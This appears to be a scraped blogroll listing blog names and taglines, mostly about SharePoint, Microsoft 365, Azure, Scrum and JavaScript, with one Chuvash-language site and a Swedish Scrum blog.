News, tips and thoughts for Microsoft cloud fans

Вула Чăвашла

VulaCV - Чăвашла вулаттаракан сайт

Discovering SharePoint

And going crazy doing it

Bram de Jager - Architect, Speaker, Author

Microsoft 365, SharePoint and Azure

SharePoint Dragons

Nikander & Margriet on SharePoint

Mai Omar Desouki

PFE @ Microsoft

Cameron Dwyer

Office 365, SharePoint, Azure, OnePlace Solutions & Life's Other Little Wonders

paul.tavares

Me and My doings!

Share SharePoint Points !

By Mohit Vashishtha

Jimmy Janlén "Den Scrummande Konsulten"

Erfarenheter, synpunkter och raljerande om Scrum från Jimmy Janlén

Aryan Nava

DevOps, Cloud and Blockchain Consultant

SPJoel

SharePoint for everyone

SharePointRyan

Ryan Dennis is a SharePoint Solution Architect with a passion for SharePoint and PowerShell

SharePoint 2020

The Vision for a Future of Clarity

Aharoni in Unicode

Treacle tarts for great justice

... And All That JS

JavaScript, Web Apps and SharePoint

blksthl

Mostly what I know and share about...